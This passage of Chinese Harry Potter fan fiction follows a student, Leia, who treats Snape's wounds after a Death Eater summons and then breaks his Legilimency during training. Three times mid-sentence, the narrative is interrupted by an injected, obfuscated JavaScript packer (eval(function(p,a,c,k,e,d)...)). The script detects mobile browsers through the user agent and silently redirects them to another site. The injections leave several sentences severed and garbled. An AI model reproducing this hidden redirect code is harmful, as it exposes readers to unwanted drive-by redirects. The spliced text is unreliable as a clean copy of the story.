“Accio。”蕾雅倒是直接将他的魔杖召唤了过来,接住以后递给了他。斯内普凝视着她一瞬,接过了魔杖。 蕾雅用衣袖擦了擦自己额头上的汗水,连忙看向邓布利多,“邓布利多校长,您回来啦?” 邓布利多温和地看向少女,“是的蕾雅,我回来拿点东西。你先回休息室吧,我有些话跟斯内普教授说。” 女孩微笑地点了点头,再看了沉着脸的斯内普一眼,离开了正门。 等她走了一阵子,邓布利多才和斯内普一起踱着步走进城堡里。 “你看起来很享受这次训练啊,西弗勒斯。她是一个听话而出色的学生,不是吗?”老巫师得意地看着旁边的魔药大师。 斯内普没有回答他,但那眼神里的警示在夏日的走廊里透出接近零度的寒光。 邓布利多不以为然地耸耸肩,忽而又想起什么似的,从自己的魔法口袋里摸出一个浅蓝色的精致礼盒还有一本杂志,上面写的是圣诞节围巾编织方法,“从霍拉斯那里拿的小礼物。” 斯内普撇了一眼,并没打算接。 “训练过程也需要些小甜点。”邓布利多依然坚持地朝他晃了晃手中的东西。 “……不需要。”斯内普冷冰冰地说着,“我很确信,训练马上就要结束了。” “是吗,她成长这么快?”邓布利多眯了眯眼睛,将东西重新塞回魔法口袋里,“所以,你认为她还需要遗忘咒吗?” “只要你同意,我很乐意这么做。” 邓布利多不动神色地笑了一下,在灌满阳光的长廊里停住了脚步,抬起头来看向霍格沃茨的中庭,目光却像是落在了很远的地方。 “既然拿到了斯拉格霍恩的礼盒,看来你成功了吧。”斯内普开口打断了邓布利多的沉思。 “是,哈利说服了他。” “算还有点用处。”斯内普冷哼一声。 邓布利多没有理会他的冷嘲热讽,直接说道:“所以新学期,黑魔法防御课就拜托你了。” 斯内普在沉默里微微颔首,又看向邓布利多的右手,“你的手怎么样了。” 邓布利多顺着他的话将衣袖往上拉了一些,平和地说,“不太好,也不算太坏。” 斯内普将嘴唇抿成了一条直线,观察了一阵,又问道,“疼痛或者烧灼感?” “倒真的有一些。” …… 蕾雅回到公共休息室里,吃了一些拉比送来的曲奇,随后她边揉着酸痛的肌肉边回忆刚才的战斗。很显然,这是一场过于激烈的战斗,也是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两个人一并站在调配台前,无声而细致地处理着材料,谁也没有提上午的事情。 蕾雅戴着防护手套,小心地将夜光蛾的翅膀分离下来,斯内普在她的身边将已经磨成粉的月露花和柳叶加入到冒着泡泡的坩埚里。就在蕾雅处理完最后一盒夜光蛾时,斯内普皱起了眉毛,她听见他轻轻地抽了一口气。 “先生?”她关切地看向他,发现他神色严肃而紧绷着。 “你过来继续。”他没有回答她的问题,而是侧过身,示意她接过他手里的搅拌棍。 “好的。”蕾雅不敢怠慢,直接将手中的盒子搁在桌上,摘掉手套后扶住他手里的搅拌棍。 “等药水变得浓稠,加入两片夜光蛾翅膀,搅拌至变紫,独角兽角粉末小勺一勺,顺时针三圈,最后装瓶。”斯内普的语速很快,更快地将一个金属盒子轻放在她的手边,“剩下的材料放回储存室里。” 还不等她消化完他的话,斯内普已经抓起一把飞路粉,消失在壁炉里了。 “……”蕾雅看着那个壁炉愣了一阵,立马将斯内普刚刚吩咐的事情全部记了下来。 以名贵的独角兽角入药的药水并不多,但大多都与治疗有关。她看向手中正冒着紫色的坩埚,显然这是一种特殊而稀有的治疗药水,她觉得斯内普一开始并没有让她参与制作的打算,如果他没有走得那样急的话—— 有一种不太好的预感浮了起来。 蕾雅独自在他的办公室里将所有工作都完成了。在把那瓶紫色却闪耀着银光的药水轻轻放在他桌上的时候,就在那里,她看见了一个包装精致的淡蓝色礼盒,包装纸华丽地发出炫光,纸盒的下面压着一本圣诞围巾编织杂志。 呃。蕾雅怔怔地看了一会儿,才离开了他的办公室。 等吃过了晚饭,弯月和星星再次爬上了霍格沃茨的屋顶,城堡里的魔法烛火透出微弱的暖光,蕾雅再次来到斯内普的办公室前。 他并没有取消晚上的训练,定是已经回来了吧。她边想着边伸出手去敲了敲木门。 无人应答。 连续三周的训练,但凡斯内普有些别的计划,他都会提前以壁炉或者让拉比通知她。显然今天的情况并不是一种寻常。 蕾雅有些犹豫,但还是决定拧了拧门把手——果不其然,没有锁。这意味着他并没有回来过。 她推开门进去,地窖办公室里一片漆黑,微弱的星光嵌在那扇有些陈旧的高窗里,下午熬制好的药水还是那样放在他的办公桌上,透出淡淡的银光。 蕾雅想起了他下午在自己身侧那个有些痛苦的表情,排除了所有的可能性,唯一一个答案就只可能是,神秘人或者食死徒召唤了他。 意识到这件事的那一瞬间,莫名的恐惧就将她裹了起来。 他还会回来吗?他会没事的吧? 在漆黑的办公室里眺望窗外星月的寒意,蕾雅觉得特别的忐忑,就像是心脏被无情地抛向万米高空一样而后一直坠落。 蕾雅不知道自己在办公室里等了多久,至少,久到墙里渗出来的浓重潮气完全浸透了她,久到眼前那颗原本很亮的星星也逐渐移到窗框之外再也看不见了。 他今天也许是不会回来了吧。她叹了一口气,用一张羊皮纸给他留了言,决定回去公共休息室。 就在她带上门的那一刻,一声沉闷的撞击声从办公室内传出,紧接着她闻到了一股血液的气味。 蕾雅的心脏猛地一紧,几乎是本能地推门而入。 空气里浓重的血腥味令人窒息,阴冷的魔法壁炉里正透着还未完全熄灭的绿色光芒,阴森可怖的荧光映出了一个正跪倒在前面的身影。 是浑身是血的斯内普。 蕾雅吓了一跳,在一瞬的失神后,她跑向了他。当她的手触碰到他正在颤抖的肩膀时,一种滑腻粘稠的触感就沾了上来。 “……离开这里!”他发出一声低吼,像一头受伤的困兽。 22. 伤口 “出去!” 面前这个男人的声音低沉、愤怒、而又嘶哑,一点都不是她平时游刃有余的魔药学教授。 黑暗的办公室里,地板上、壁炉边上,到处都是血痕,空气里的血腥味就要让她无法呼吸了。蕾雅双膝一软,跪倒在他的身边,感觉自己的裙摆、膝盖上都沾上了这些粘稠滑腻的血液。 她听见自己的声音变了调,带着呜咽说道:“不,先生!您伤得好重!让我帮您!” 斯内普的肩膀持续颤抖着,突然伸出手来一把将少女推开,吼道:“我,让你,出去!” 这一下摔倒刚好硌在白天的淤伤上面,疼痛顿时钻心地朝她袭来,她不禁抽了一口气。尽管如此,她忍了下来,再次坚定地把自己挪了过去。 “出去!”斯内普的声音再次爆发,如同洞穴中野兽最后的警告一样骇人,他举起发着抖的右手,以魔杖抵向她。 “不行!”蕾雅冲他大喊一声,一把抢过了他的魔杖,“我不认为您还有力气对我施咒。” 斯内普似是不满地冷哼一声,再次抬起手按向她。 “拉比!拉比!”蕾雅连忙将他的手拽住,朝房间内喊着,“你在吗!” “蕾雅小姐,有什么我可以帮忙的吗?”小精灵拉比凭空出现了,那双平时水汪汪的明亮眼睛里满是惊愕,他惊呼道:“天哪天哪,斯内普教授怎么了?” “找邓布利多校长!快让他过来!斯内普教授需要他!”蕾雅焦急地回答着。 “邓布利多先生下午就离开啦!拉比不知道他去哪儿了!”拉比语速飞快,同样慌张地答道。 邓布利多不在,这里只有她和他。 蕾雅的心沉了下去,她紧握着斯内普的手,再次惊慌地看向他。斯内普正在喘息,他的嘴唇微微翕动,像是在嘟囔着什么话一样。 蕾雅稳定住情绪,看着小精灵说:“拉比,能请你拿点清水来吗?还有,还有干净的毛巾。” “好的,小姐,马上!”拉比的身影在一丝闪光中消失了。 蕾雅再次把手搭在他因疼痛而紧绷的肩膀上面,试图将他扶起来。 “滚开!”斯内普用尽全身的力气咆哮着,声音却带着痛苦的震颤。当他猛地抬头的那刻,借助窗外的星光,蕾雅看见了他那张毫无血色的脸以及因为痛楚而极度扭曲的神情。 “您听见了,邓布利多先生不在,这里只有我和您!”蕾雅提高了些音量,“让我帮您,先生!别再推开我了!您会流血而死的!” “……我不需要。”斯内普的伤势显然非常严重,刚刚那声咆哮似乎夺去了他所有的力气。蕾雅看见他无力地低着头,本该直挺的背部此时却弯曲、佝偻着。但即便如此,他依然固执地将手从蕾雅的手里抽出来,摆在她的肩膀上,无声地抗拒着她。 蕾雅当然没有理会他的任何反对,她以更加坚决的力量握住了他的手,一字一顿地对他说:“教授,我根本不在乎你同不同意!我不会把你扔在这里一个人,如果不想我对你造成二次伤害,请让我帮你,否则我就使用速速禁锢了。” “出去。”斯内普坚持道。 这个时候,小精灵拉比又一次出现在办公室里,快速地把一盆温水和一叠干净的毛巾放在蕾雅的身边。 “谢谢,拉比,今天晚上的事你不要说出去,好吗?”蕾雅侧过头去,诚恳地看着面前的小精灵。 “当然,拉比是遵守诺言的小精灵!”拉比轻快地说着。 “好,你先回去吧。”蕾雅朝拉比点点头,感激地说道。 她回过头来,低声说道:“听着,教授。这里只有我和你,我不会开灯,小精灵也不会说出去,没有人会知道我来过。你也不必记得我曾经来过,明天你要对我用遗忘咒也好什么都好。只要现在让我帮你。” 斯内普不再说话了,几缕沾着血污的黑发垂在他的脸前,因为他沉重的呼吸而微微抖动。蕾雅立刻将毛巾放在温水里面,捞起来又拧干,轻柔地放在他的手上,小心翼翼地擦拭着。见他没有再反抗,她又大胆了些,抬起手来碰了碰他的肩膀,很快地去拨开他的黑发,用温毛巾擦去他脸上的血污。 斯内普眉毛紧蹙,双眼也紧闭着,似乎是不再愿意去理会她的任何动作。 她的指尖不经意间擦过他的皮肤,发现他体温滚烫。蕾雅皱了皱眉,继续着手上的动作,双手忐忑地顺着他的脖子摸下去,找到了魔法袍的扣子,迅速地解开了。她小心翼翼地将它从斯内普身上拿了下来,袍子已经被被破成了很多块,不知道是什么样的攻击能造成这种伤害。 “先生,告诉我您伤到哪里了。”她的语气很轻,似乎在他的耳边呢喃着,又犹豫地伸出手去要解开他的外套。 “……背。”斯内普迟疑了一阵才答道,但他同时缓缓抬起左手握住她的手腕,阻止了她的动作。 蕾雅用另一只手将他的手拿开,认真地摇了摇头,说道:“不,先生,除非您想我对您使用咒语。” 斯内普轻轻地咳嗽了一声,无力地把手放下。 蕾雅开始解那些繁重的扣子,解到一半的时候发现底下的衬衫也已然变成被血浸透了,即使在没有开灯的黑暗里也能被辨别出的大片鲜红。 哦梅林……她再次吸了一口气。 有那么一瞬间,她觉得自己要是解开这件沾满鲜血的衬衫,就意味着会面对真实的斯内普,面对那她不曾认知、亦不曾想象过的事。 她将外套敞开,轻轻地以指尖触碰了他的脸,试探般问他:“先生,您想到卧室里面去吗。我没法在这里处理您的伤口。” 斯内普用很细微的动作颔首,蕾雅立刻将他的手臂环在自己的肩上,用力地将他扶了起来。男人的体重压在她纤弱的身上,她几乎是咬着牙才推开了他卧室的门,同样艰难地将他放到了他的四柱床上。 她听见斯内普因疼痛而低哼一声,头无意识地倒向她的颈侧,炙热的鼻息和高热的体温一同侵染了她的肌肤。蕾雅任他靠着自己,将那件同样破烂的外套轻轻扯下,随手扔到一边。然后她以魔杖召来他的枕头,扶着他斜躺下,温柔地拨开他早已被汗水湿透的黑发。 她跪坐在他的床边,谨慎地解开了他的衬衫。她很努力地不去看他的身体,但是从脖子到肩膀以下都是黑乎乎、血淋淋的一片,实在是很难不去注意。她用最细微的动作将他的衬衫往后扯下,露出了他瘦削的后背,上面是一片狰狞不堪的血肉,根本分不清楚哪里是伤口,哪里是污渍。 蕾雅倒吸一口凉气,被眼前的景象吓得愣住了一秒,心脏像是被尖刀剜着那样生生疼着。 冷静,冷静。我不可以惊慌。 思考,蕾雅。她对自己说。 她压下心中复杂而沉重的情绪,镇定起身,重新走进办公室内,将刚刚的温水、毛巾、还有他柜子上的白鲜都一并拿进了卧室。 她用魔杖将清水重新加热了一些,一手拿着荧光闪烁的魔杖,一手沾湿毛巾一点点擦去他背上的血。斯内普紧绷的身体因为毛巾的摩擦不时颤抖,她听着他变得粗重的呼吸,更加仔细地擦拭着他的伤。 终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593432|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她看见了那些伤口,有细长像鞭痕的,也有又深又宽的刀割伤,皮肉像是被绽开了一样翘了起来,鲜血还在不断地汩汩流出,染红了床单,也染湿了她的眼。 蕾雅无法想象到底是什么样的人能对别人做出这样的事,更无法想象自己此时是如此得想让那个人也体验这样的疼痛。 她的眼里洇出了模糊的氤氲,手上也渗出了冷汗,她只能咬紧下唇努力保持双手的稳定,将白鲜药水倒在他的伤口上面,又手指一点点地抚着,像是要用力抚平那些伤口。 火焰舔舐般的剧痛里,斯内普感觉到有一双冰凉的手划过自己的后背,随着那种温柔的轻触,疼痛一点一点消散了开去。随后,他感觉自己被放平了,同样温柔的手覆在他的额头上面,好像要带走他身上的热度似的一下下安抚着,又好像在喃喃着什么话,但是贫血和高热让他沉沉地昏睡了过去。 再次醒来的时候,斯内普发现自己的大脑更像是被扔进大海里泡了一晚水一样沉重。他闭着眼吃痛地支起身,一只手用力地按住自己的额角,另一只手伸向床头柜熟练地摸出一瓶药剂。就在他刚要仰头喝下的瞬间,他反过手来摸了摸自己有些发痒的后背,摸到了一种很奇怪的触感,是崭新的肉芽。 ……这是,白鲜的味道? 他愣了愣,睁开眼睛。 天已经蒙蒙亮了,微光从窗帘的缝隙里挤进了房间,雾霭一般的光正照着伏在他床边上的人影。她的长发披散在身后,白色的短袖夏服上是干涸的点点血斑,细细的手臂正搭在他的床边上,小手紧攥着他被子的一角。她的肩膀正在微微起伏,是在睡梦里。 那些模糊的记忆立即从他钝痛的大脑里浮现出来,他想起来自己是怎么一次次推开她,而她又是怎么坚定而艰难地将自己搬到这里,为他疗伤的。 斯内普紧皱起了眉毛,垂下眼去,自己身上的衬衫干净而柔软,与眼前人的狼狈形成鲜明的对比。 为什么要做到这种程度。 斯内普困惑而不解。 他在自己的床头柜上找到了被她放在那里的魔杖,掂起来毫不犹豫地朝她使了一个清洁咒和一个昏睡咒。 随后,他朝空气中唤道:“拉比。” “拉比在这儿!”小精灵很快就出现在房间之中,有些担忧地看向他,“斯内普教授没事了吗?” “如你所见。”斯内普恢复了冷漠的语气,用魔杖指了指床边的人,说道:“把她送回去寝室。” “好的,教授,按您吩咐。”拉比轻快地应着,将手覆在少女的背上,顷刻间就幻影移形消失在空气里了。 斯内普再次抬手碰了碰自己的额头,发现自己也许还有一些发烧,他缓慢地起身,踱到办公室里。 地上没有血污,壁炉边上的血痕也消失不见了,办公桌上正放着一瓶泛着银光的药剂,被晨曦照得如同海上的星辰。他盯着那瓶药一阵,才从一旁的药柜里翻出了一些补血药剂和退热药草服下。 他重新回到了自己的床上,准备让身体有足够的时间恢复。刚要躺下,他在自己的枕头边上发现了一枚小小的耳环。是一朵由钻石组成的绣球花,在朦胧的晨光里折射出柔和的光泽,有点像是他办公桌上的那瓶掺了独角兽角的治疗药水。 斯内普将它轻轻地放置在自己的床头柜上,转身盖上被子,任由药效开始侵蚀自己。 梦里,有一双稍凉的手环抱了他。 有人在抚着他滚烫的额头,拭去他痛苦的汗水,一遍又一遍地说着。 “很痛吧,会好的。” 23. 摄神取念 蕾雅习惯性地将泰迪熊按在自己的怀里,翻了个身,阳光正正地打在她的脸上,脸颊不一阵就变得滚烫了起来。她抬起手背盖住脸,却难以掩盖朝阳的热情,她最终不得已地揉了揉眼睛,缓缓睁开,映入眼帘的是一片隆重的格兰芬多红。 唔?——她盯着床幔眨了眨眼,倏地坐了起来,身上疼得要死。她龇牙咧嘴地揉着自己的腿和肩膀,慢慢想起了昨天晚上发生的事情。 发觉自己身上还穿着校服,蕾雅将夏服脱了下来翻了翻,在上面看不到一点污渍,但是一股淡淡的魔药气味在提醒她一切都不是梦。 愣了愣,但实在回忆不起来自己是怎么回到格兰芬多寝室的。 难道是他将她送回来的?还是说是拉比?他怎么样了呢? 蕾雅迅速起了床,发现时间已过九点了,她先去冲了个澡,在浴室里看见了大腿和手臂上大片的淤青,而后又在洗手间的镜子里察觉到自己的耳环丢了一个。 她擦着头发回到了寝室,想着耳环必是掉在斯内普的卧室里了。蕾雅叹了一口气,将落单的耳环摘下来轻轻放在床头柜上。换过一身干净的校服就往楼下的休息室走去,一份早餐早已在公共休息室的壁炉前等着她,咖啡凉透了。 她思忖着该不该问一下斯内普耳环的事。 ——“你也不必记得我曾经来过。” 但昨晚自己说的话适时地浮了上来。 她最后决定还是作罢。反正如果斯内普碰巧找到的话他会不动声色地还给她的吧,毕竟他没有任何留着她耳环的理由。而如果他没有见过的话,提起这个事情这只会让他回忆起昨晚的不堪,他更不像是会为了她将自己卧室翻个底朝天的人。 拿定了主意以后,她随意地吃了一些食物,紧接着走出了公共休息室,一路忍着肌肉的酸痛来到了斯内普的办公室门前。 今天并不是训练的日子。而她也从来没有在不是训练的日子里找过他。 她深呼吸了一下,拍了拍自己的脸稳定情绪,刚要抬手敲门,门就倏地开了,抬头便迎上了一双坚硬而冷傲的黑眸。 “你来做什么,今天不是训练的日子。”他微微抬起下巴审视着她,上下扫了一眼少女身上的青紫色块,嘴角下沉得厉害。 “先生……”虽然他的脸色比平时更苍白了些,但他看起来已经没什么大碍了。蕾雅觉得自己眼眶一热。 “我……”她吞咽了一下,移开了目光。 我想来看看您有没有事,顺便想问问您有没有见过我的耳环。她在心里想到。 “我好像把笔记本忘在这里了。”到了嘴边却成了别的话。 “笔记本?”他冷哼一声。 耳环倒是有一个,但既然你也没问。他想起被自己放在床头柜上的绣球花耳环。 “那种东西,我没有见过。”但到了嘴边却成了别的讥讽。 “好、好吧。”蕾雅小声地答道,“那……打扰您了,我这就回去看书。” “等等。”他却叫住了她,将门拉开了些,示意她进来。 蕾雅困惑地走进斯内普的办公室,壁炉干净又整洁,地上什么痕迹也没有,空气里的血腥味全都消散而去了。 一切好像并未发生过般,当然,是他们心照不宣地假装未发生过。 一侧的坩埚正发出咕咚咕咚的声响,她在那里又看见了跟昨天一样颜色的药剂,而放在旁边的材料也如出一辙。 “先生,是跟昨天一样的药吗?”她忐忑地回头望他,怕是自己昨天制作的药水出了什么差错。 斯内普撇了她一眼,看出了她的心思,淡淡地回道:“是,一瓶不够。” 蕾雅暗自松了一口气,又说道:“需要我帮忙吗?” “不需要,坐着等我。”斯内普冷冰冰地说着,大步走到调配台旁,将一小勺独角兽角粉末洒入坩埚里,顺时针慢慢地搅拌了三圈,见药水透出一种梦幻的蓝紫色,挥手熄灭了坩埚。 蕾雅看着他小心地将药水装瓶,随后掂起一块干净的白布擦手。蕾雅忽而想起自己昨晚是怎么以白布清理他手上的血污,脸倏地变得滚烫。 她抽回目光,不让自己胡思乱想。 斯内普将调配好的药剂收好,转身走到少女的正前方,说道:“既然来了,那就训练。” “啊,好。”蕾雅坐正了些,扯了扯裙子将大腿上的那块淤青挡住。 斯内普当然没有放过面前的任何细节,但他只是不动声色地移开了视线。他将衣袖往上折了一圈,露出干练的手腕,以魔杖对着她。 “回答我,莱恩哈特小姐。”他漠然地开口,“更高阶的大脑封闭术的关键是什么。” 蕾雅一愣,但很快就组织起了语言,“更高阶的大脑封闭术,秘诀不在单纯的抵抗,而在于创造和操纵,设身处地编织那些你想让对方从你这里得到的信息。” “不错,今天我会使用几乎等同黑魔王程度的摄神取念。”他说,“尝试将我阻挡在外,不要让我窥探到任何秘密。“ “好。”蕾雅直直地看向深不可测的黑眸,从里面看不出一丝波澜,“我准备好了。” 斯内普的声音好像是从很远的地方响起来——“摄神取念。” 一种无形的压力如千军万马般闯入她脑里,是前所未有过的压迫感,她皱着眉,用力地向他抛出自己准备的记忆。 先是还是很成功的,斯内普看见了一片广袤的草原和远处的山脉,天空很低,有白白的云,一个黑发的女孩子穿着天蓝色的碎花连衣裙,跟在一个金发的男人后面欢快地跑着,湖边上,一个同样黑发的女人在野餐垫上一脸温和地看着这两个人,眼里满是爱意。 斯内普绕过天空下面的一丝不易察觉的涟漪,发现自己正在对角巷里。刚才的女孩牵着金发男人的手,一起进入了奥利凡德的魔杖店。加里克·奥利凡德吃惊地从储藏室深处翻出一根灰白色的魔杖递给她,女孩听着魔杖制作师的话笑得灿烂,眼里满是憧憬。 斯内普平静地环视了一圈,迈开脚朝店铺有些褪色的角落钻了过去,就望见女孩正一脸激动地往格兰芬多的长桌上走去,她的身边坐着褐色头发的格兰杰,再隔壁是那个戴眼镜的救世主。除了他,似乎没有人察觉,这两个人的眼睛是那样的相似。 斯内普厌烦地从他们中间穿了过去,便看见女孩长大了许多,脸上的笑容不像小时候那样期待了,而是迷茫空洞着。她每天都会抱着书去图书馆,但她从来没有真正地将任何知识学习进去,她只是在发呆,怔怔地看着窗外的月亮出神。 斯内普站在她的身侧,低头注视着她的笔记本,那上面是一片空白,直到禁书区的铁门发出他熟悉的吱呀声,他随着她蓦地抬起的头望去,一个黑色的身影走了进去。正当他想要继续眺望的时候,记忆溶解了,变成了一条长长的走廊,他认得,是通往校长室的走廊。 她正和邓布利多站在一起,他分辨出来是她向邓布利多坦白自己听见秘密的那天。他连忙跟了上去,就在滴水兽的门前,她跟邓布利多一起走上了旋转楼梯,他大步地跟着他们一起踩上台阶—— 所有的楼梯都骤然轰塌,他掉入了一片荒芜之地。 ——“你在找什么,先生?”她的声音响了起来。 ——“邓布利多到底对你说了什么。”他站在这灰蒙蒙的大地之上,这里什么都没有。 ——“什么也没有。”她声音里有些执拗。 ——“是吗。”斯内普轻轻地冷笑着,陡然增加了窥探的力度。 蕾雅觉得一阵猛烈的剧痛在脑里炸裂开,钻心剜骨一般疼痛朝她最深的地方钻了进去。 她的身体开始打颤,额头上的冷汗顺着她的刘海滴落在她的手上。 ——“告诉我吧,他到底对你说了什么,让你不惜做到这个地步。” ——“真的……真的什么也没有。” ——“那我问你,你为什么要做到这种程度。” ——“……。”蕾雅重重地喘了一口气,汗水打湿了她的背,攥成拳头的手里,指尖生生扎进肉,“……您还不明白吗?” ——“……明白什么?”他不以为然地转了转手腕。 “呜……”她不由得发出一声呜咽,太痛了,光是忍受疼痛已经用尽了全身的力气。 而斯内普好像并不在意她到底有多痛一样,继续以砭骨而又冰冷的摄神取念随意地挑拨着她已然不堪一击的神经。 “告,诉,我。”他狠狠地命令道。 她紧咬着唇,一股铁锈味在嘴里蔓延了开去,也恰好让她努力维持住了一点最后的清醒。 “不……”蕾雅轻哼一声,心里知道自己坚持不了多久了。 她实在是太痛了,痛得难以再去操纵那些记忆,她不想让他再次看见任何有关于他的事,哪怕是一丝—— 她的内心无意识地响起了一个咒语,她发誓真的不是她故意的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593433|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > Protego(盔甲护身)—— 事情的反转只在一瞬间,她的脑袋瞬间被解放了出来。但是下一刻,那里忽而涌现了很多陌生的记忆—— 一个虚弱的男人坐在四柱床上,他迷茫地在微弱的晨光里看着自己身上柔软而干净的白衬衫,回过神来时,他缓缓地抽出魔杖对着伏在自己床边的人影施展了清洁咒和昏睡咒,下一个片段,小精灵拉比这个人影带走了。 她绕床打开门走出去,面前是一条漆黑而恐怖的长廊。她谨慎地沿着长廊走下去,发现那个男人正跪在长廊的尽头,面前是一张狰狞而丑陋的脸,不像是人类,更像蛇怪一样。 蛇怪的眼里透出阴森森的红光,嘴里喋喋不休,笑容如鬼魅一样可怖,他似乎正在盘问着男人什么问题,男人摇了摇头,沉默着把脸沉了下去,蛇怪袍角翻动,旋即抬手将一发咒语打在男人的背上——男人痛苦地弓起了背脊,还没等他喘过气,又一发白光从那个魔杖里发了出来,男人随之痛苦地翻倒在了地上——更多的咒语落下,红色的、白色的。 不、不要!不要伤害他! 蛇怪身后的人在狂妄地嘲笑,有一个穿着黑色斗篷带着面具的人走了出来,用力地踹着男人的后背,又用一根黑漆漆的鞭子抽打他已不堪一击的背,男人咳出了鲜血,双拳紧握得关节都突了出来,他在地板上蜷缩起了身体—— 她尖叫着,却没有一丝声音从她的喉咙发出,她跪在那里,她爬到他佝偻的背前,却只能眼睁睁地看着他的痛楚。 忽而,一阵突兀的风声吓了她一跳。长廊消失了,随之而来的是一抹温暖的阳光,透过茂盛的枝叶落在青葱的草地上。一个十岁模样的黑发男孩正坐在一个红发女孩前面,直勾勾地看着她。那个女孩有着一双翠绿的眼眸,笑容在阳光下显得更加明媚动人,她捡起一根树枝。男孩看着被她旋转送出的树枝,缓缓说道:“我看见了,你会很多魔法。我一直在偷看你……” 就仅仅是这一瞬间,摄神取念的连接忽而断开了。 一瞬间的脱力让蕾雅从椅子上摔了下去,膝盖再一次撞在坚硬而粗糙的地面上,她顾不上疼痛,抬眸惊愕地望向斯内普。斯内普苍白的脸上有窘迫,也有愤懑,黑眸里全是翻滚着的怒火,黑发紧紧地贴着他的脸庞,更彰显着他的骇然。 “对、对不起。”蕾雅意识到是自己使了个防护咒将他的摄神取念反转了。 “满意了?”斯内普的声音嘶哑着,嘴唇变成了一个更加奇怪的角度,看起来跟他脸上的难以置信一样扭曲。 她舔了舔被自己咬破的伤口,低声道:“我并不是故意的……” “既然你已经可以攻破我的摄神取念,训练到此结束了。” 明明早上还是艳阳高照的大晴天,怎么午后却开始变得乌云密布了呢? 蕾雅赶在暴风雨来之前,被小精灵拉比送回了家。 家里一个人也没有,她躺在自己的床上用被子蒙住头,听见不一会儿就下起了暴雨。 那天的雨下得极大,后半夜的一声震彻天空的雷鸣将她从床上惊醒。 她打开了床头灯,擦去自己额上密密麻麻的虚汗,又再次躺下。她翻来覆去,发现自己毫无睡意,她避开淤青的地方枕着手臂,开始思考白天窥探到的他的记忆片段。 第一段记忆很明显是昨天晚上他醒过来的事,原来是他让拉比将自己送回了休息室。那么……第二段记忆便是他为何而受伤了,那个蛇怪肯定是黑魔王了吧。即使仅仅是记忆,那种阴森瘆人的感觉还是让她泛起一股恶寒。 那第三段记忆呢?那个黑发男孩有着跟斯内普一模一样的轮廓,几乎让人很难不同意就是年幼的他。红发女孩是谁?她的眼睛…… 蕾雅呆呆地看着自己家的天花板,凌晨的夜晚安静得只有雨声陪伴着她。 ——“回答我,莱恩哈特小姐。更高阶的大脑封闭术的关键是什么。” ——“更高阶的大脑封闭术,秘诀不在单纯的抵抗,而在于创造和操纵,设身处地编织那些你想让对方从你这里得到的信息。” 她背脊一凉,突然意识到,有没有一种可能性,在千万种合理性之外——他放出来的片段,不过是他想让她获取的?毕竟一个小小的反咒怎么可能攻破他的大脑封闭术? 也许她以为自己窥探了他的内心。 实际上她窥探到的正是他希望她看见的。 为什么让她看见这些? 24. 倒计时 那天以后蕾雅就没睡过一个好觉。 每晚不是被那个丑陋的蛇怪和咒语吓醒,就是闭眼入目的血。 明明在霍格沃茨里压制得那样好的情绪,现在却像是反噬了一样。她分明看见每分每秒,每个愣神凝视的角落,他都在那里。 他浑身是伤,浇满了鲜血,他在那里,他正在死去。大片殷红,在梦里开出了花。 蕾雅惶恐得茶饭不思,心里空落落却充满了恐慌。有那么一瞬,她突然后悔没有让斯内普为自己施一个遗忘咒。 她当然并不怕那今后日子的苦痛煎熬,也不是在怕直面战争的生灵涂炭。 在苦苦思忖了十天以后,她意识到,她原是在怕失去他。 没有多少时间了。 倒计时的指针早已无情地朝终点走去,滴答—— …… 开学的这天,国王十字车站里驻守着好几个傲罗,看来正是魔法部为了加强学生返校的策略。蕾雅推着行李车,放慢脚步等待着身后正在跟傲罗们打招呼的雷格纳。显然大部分的魔法部官员还是对神秘司的修复情况感到好奇,雷格纳不得不跟他们多说几句。 远远地,蕾雅就看见了刚刚穿进九又四分之三站台的韦斯莱一家,他们的红头发实在是过于醒目。她回头瞥了一眼还在和一名傲罗握手的雷格纳,对他喊道:“爸爸,我看见金妮他们了,你就别送我啦。” 实际上,她是在害怕暑假训练的事情被雷格纳得知,他绝对会很生气的。 “好,好吧。要注意安全啊宝贝。”雷格纳侧过头来,从那个傲罗手里抽出手朝她挥了挥。 蕾雅冲自己的父亲扯出了一个敷衍的笑容,推着车穿进了站台,消失在墙缝里。 雷格纳和一个傲罗成员结束了交谈后,在那停顿的一刻,便撞见亚瑟·韦斯莱从拐角处匆匆走出。 “哟,老伙计。”亚瑟一眼便认出了雷格纳,他脸上洋溢着热情的微笑,迈着轻快的步伐直线朝他走来。 “嗨,看看是谁,亚瑟!”雷格纳笑着回应,与他拥抱一番。 “怎么,来送你的宝贝女儿上学?”亚瑟笑容可掬地问道, “是啊,刚看她进去了。莫莉呢?” “哦,先走了,说要去买东西。”亚瑟说,“回部里吗?一起?” “走啊,正好聊聊天。”雷格纳答道。 两位父亲并肩穿行在国王十字车站的人群里,缓缓朝出口移动着。 “最近在部里都没见到你。” 雷格纳叹了口气,摸了摸自己的金发,“你知道的,神秘司的事,忙得连喘息的时间都没有。” 他随口将话题一转,“对了,我听蕾雅说,孩子们过了一个很充实的暑假。” “是啊,哈利在陋居玩得可开心了。”亚瑟笑着说。 “……陋居?”雷格纳疑惑地看他。 